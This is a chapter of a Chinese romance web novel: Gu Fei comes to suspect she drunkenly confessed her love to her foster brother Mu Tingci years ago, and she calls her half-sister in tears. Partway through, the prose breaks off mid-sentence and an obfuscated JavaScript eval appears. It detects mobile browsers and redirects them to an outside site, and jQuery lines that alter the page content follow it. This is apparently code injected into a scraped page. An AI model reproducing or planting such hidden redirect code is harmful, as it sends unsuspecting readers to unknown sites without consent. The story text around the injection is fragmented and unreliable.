顾绯今天没有回到顾宅,而是住到了方颜家。
方颜很早就搬出来了,自己买了一套高档公寓,正适合她一个人的独居生活。
顾绯的情绪已经平复下来,呆呆地坐在懒人沙发上,却没料到接到了柳席的电话。
“柳老师,这么晚了有什么事吗?”她问道。
“我听说了,丰成羽造型的事。”
“嗯……有什么问题吗?”她现在没什么心情,问得有气无力的。
柳席听出了那边的女人兴致不佳,说道:“没什么,应急能力不错,丰成羽演唱会已经上了热搜,他们的团队还把你临时改的服装当成了新的营销噱头,Eros也算跟着沾了光。”
他语气变了变,“不过……虽然Eros没有严格规定,但你们还是尽量不要和艺人有太多私下往来,影响不太好。”
“嗯,我知道了,这次是个意外,以后会注意的。”
“那我就不打扰你了,好好休息。”柳席说完后便挂断了电话,看着手机里丰成羽的服装,嘴角不自觉微微上扬。
顾绯放下手机,方颜端了洗好的水果出来,恭恭敬敬地摆在她面前。
“别想牧听慈了,我不比臭男人有用?”
顾绯笑了笑,脸上的泪痕都干了,在脸上有些麻麻的轻微刺痛,就是桌子上一堆揉皱的纸巾,乱乱的。
她想了想,自己这才回国没多久,已经因为牧听慈哭了两次了。
如今看来,她最在意的,不是牧听慈对她没有男女之间的感觉,而是她在海外的五年,他对她的不闻不问。
其实也不算严格意义上的不闻不问,毕竟发过问候短信,打过钱,生日礼物也按时邮寄过来。
但是没打过视频、没见过人,联系只在节日,跟以前无微不至的照料和呵护比起来,落差难免有些太大了。
方颜看着她这副凄惨的模样,盘腿坐下,一时也没说话。
顾绯吃了一口草莓,还是无精打采的模样,却突然看到方颜抬起头。
“绯绯,不对劲啊……”
“怎么了?你又想到什么了。”
“你回想一下,牧听慈对你是什么时候开始冷淡的。”
“出国后啊。”
“不对!”她好像知道了什么,突然一个拍掌从地上跳起来,“是你十八岁生日后!后面他就突然去相亲了,明明之前你告诉我他一直没有跟文阿姨松口的!”
顾绯愣住了,仔细想想,好像确实是那个时候开始,牧听慈不怎么回顾宅了。
她那时候赌气,觉得牧听慈快结婚了,下定决心出国留学,也没怎么注意到他的变化。
“可是……那之前什么都没有发生啊?”顾绯还是一脸疑惑。
方颜又坐下来,不断回忆起生日那晚的片段。
“那天……那天我记得牧听慈很晚才来,晚会都散场了。当时你喝得很醉,我想着把你扶进屋,后面就是牧听慈回来了,叫我先回去他来照顾你的。”
“对啊,我第二天起来头痛得要死,什么都记不清了,你还打了个电话问我情况。”
“卧槽……”方颜感觉自己的脑子快爆炸了。
顾绯放下了水果叉,“怎么……怎么了吗?”
“绯啊……你喝醉后,有没有可能……对他表白了。”
空气霎时间凝固了。
顾绯愣在原地,她完全没有考虑过这种可能性。
她记得当时起来之后,蒋姨就给她送上来了解酒药和早餐,说昨晚牧听慈照顾了她好久,一大早集团有事又把他叫回去了。
那时候她把自己的心思藏得很深,平日里也跟牧听慈正常相处,只告诉了方颜一个人。
那个早晨一切都太过平常,她又喝断片了,完全生不起任何怀疑。
但如今看来,是巨大的纰漏。
方颜继续佐证着她的猜想,“你想想看啊,如果牧听慈知道你喜欢他,肯定吓死了,你第二天起来又一点反应都没有,这事他就只能自己憋着,所以才会答应去相亲来逃避。”
“后面你要出国,他肯定觉得这样也挺好啊,直接把距离拉远点,大家谁也不想谁,这不就成现在这样了吗?”
顾绯彻底陷入了沉默。
而这边,牧听慈刚刚才回到家。
按照计划,他现在应该快点收拾东西。再过两个小时,他的团队就会来接他,一部新电影即将开机,他马上就要进组了。
但是他完全不想动。
从演唱会到家里的路途上,他一直在想顾绯的话。
对自身的唾弃、厌恶已经到达了顶点。
顾家对他有莫大的恩情,但他是怎么做的呢?
他不想再逃避了,但又不知道从何说起。
把自己最无耻的想法剖开给她看,无异于毁掉这段长达二十年的亲情。
他想,他还需要一点点时间。
凌晨,江城的街道很安静。
在前往机场的路上,牧听慈编辑好信息,却迟迟不敢按下发送键。
“牧听慈,你怎么了?”在郑哥的眼中,牧听慈很少如此愁眉不展过。
“没事,不用管我。”他还是犹豫了,按熄了屏幕。
他算顾绯的哥哥,又不算。
其实他本不必揽过照顾顾绯的责任,但幼年在山村里的经历让他无法对一个孤独的孩子置之不理。
顾家富有,给顾绯的衣食住行都是最好的。
但这个小妹妹早早就和母亲分了床,刚进书房找文阿姨就会灰溜溜地出来,悄悄地在角落抹眼泪。
于是他选择成为她最亲密的家人,他是她的哥哥,她的妈妈。
现如今,最初的选择却将他推入深渊。
*
顾绯躺在床上,静静地看着窗外的夜色,远处的霓虹灯混杂在一起,像斑驳的彩色河流。
如果方颜的猜测是正确的,那所有错误的起点都是在她身上。
牧听慈一个人背负着这些记忆这么久,是不是很难受……
眼泪又淅淅沥沥地淌下来。
她不想惊扰已经休息在隔壁的方颜,只能将头埋在枕头里,发出细小的呜咽。
她和牧听慈的关系,很有可能在五年前就已经亲手被她毁掉了。
黑幕中划过一道若隐若现的线条,顾绯听到手机“叮”了一下。
她从蜷缩的被子里出来,将手长长地伸向桌子。
是牧听慈的消息。
她害怕起来,甚至不敢点进微信里看。
抹了抹眼泪,顾绯将头盖在被子里,在黑暗的包裹下深深吸气,似在壮胆,随后将手机捞了进来,鼓起勇气打开了屏幕。
牧听慈:【小宝,今天的事对不起,我们都冷静一下,半个月后我会返回江城,到时候我们好好谈谈吧,注意休息。】
文字格外简洁,也格外克制。
但看到“好好谈谈”四个字,顾绯就感觉头上悬着把铡刀,会在半个月后不出所料地切断她的脖颈。
心脏再也承受不住,顾绯打开通讯录,看着一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15750254|174306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
连串的名字,却觉得谁都无法倾诉。
牧听慈曾是她最亲近也最信任的人,如今意识到是她搞砸了这段关系,像是把自己的心剜出来了一样疼。
顾缇任性的脾气,最开始是顾联封和顾淮惯出来的,但他们很少回来,只是高兴的时候抱着问她想要什么玩具。
在他们面前装成高傲的公主,是顾绯身为家中小女儿为数不多留住家人的手段。
但这招在文佳面前失效。她嫌弃女儿的头脑不如她聪明,嫌弃她会被雷电吓到的胆子,在夜晚哭闹个不停。
顾缇三岁分房,只敢自己躲在被子里埋头哭泣。
后来牧听慈来了,她终于有了陪伴的人。
虽然在孩子眼里,小时候牧听慈着实算不上漂亮。
但小顾绯可以欺负他,晚上爬到他床上睡觉也不会被赶走,牧听慈,是她最喜欢的玩具,最忠诚的小狗,也是最宽容的妈妈。
但现在她好像要失去他了,甚至她现在才反应过来。
最后,她无计可施,拨通了顾缇的电话。
方颜今天已经很劳累了,她不想再去折腾,如今只有这个同父异母的姐姐能够说些话了。
“嗯?小宝,不是今晚在方颜家吗?这么晚了还没休息吗?”
听到这个熟悉的称谓,顾绯抑制不住心痛,说话也上气不接下气的。
“姐……我,我不知道该怎么办了?”
顾缇听到对面的声音,就知道多半又跟牧听慈有关。
不久前牧听慈给她打过电话,但说得遮遮掩掩稀里糊涂的,她具体也不清楚发生了什么事。
当时她被顾家领回去时,顾绯好像才初二,顾淮已经去世了。
虽然面上这个妹妹对牧听慈极尽刁难,但实际上最依赖的就是他,甚至超过了父母。
当时高中要开家长会,顾联封和文佳没空来,顾淮走后,都是牧听慈去的。
她刚经手公司那阵,经常很晚回来还看到牧听慈在书房里帮顾绯整理错题,一道道地抄,还在本子旁边写笔记解释。
但就是这样的宠溺,顾绯还常常挑刺,甚至还会专门来公司,就只为让牧听慈放下工作陪她玩游戏。
顾缇觉得牧听慈太惯孩子了,但是自己刚回来,对顾绯不过就是个外人,很少插嘴对妹妹的教育。
小妹妹蛮横霸道,好在小脾气来得快去得也快,牧听慈也知道怎么对付她,很快就哄好了,几乎没有隔夜仇,家里最亲的就是这俩。
一个愿打一个愿挨。
顾缇在他俩身上深刻地体会了这句话。
但如今才多久就吵了两次架了,顾绯这次还哭得稀里哗啦的,这个牧听慈也不管,灰溜溜地飞走了。
她觉得太反常了。
“发生什么了?”顾缇问道。
顾绯想告诉她,理智又觉得不妥,就任由哽咽代替了话语,半天没吐出一个字来。
她现在很需要牧听慈,想要他抱抱她,原谅她,说自己什么都不计较了,就像小时候那样拍拍背哄她也可以的。
顾缇宽慰道:“小宝,姐姐在呢,想说什么就说什么,不用害怕。”
“姐……我……我好像对牧听慈,做了特别不好的事。”
“没关系的,你做什么他都会原谅你的好吗?先告诉我到底发生了什么,我们可以一起解决。”
但对面的哭声越来越大了,顾缇听到几近窒息的哽咽。
“可是……可是我做的事情……特别特别坏,我感觉牧听慈不要我了……”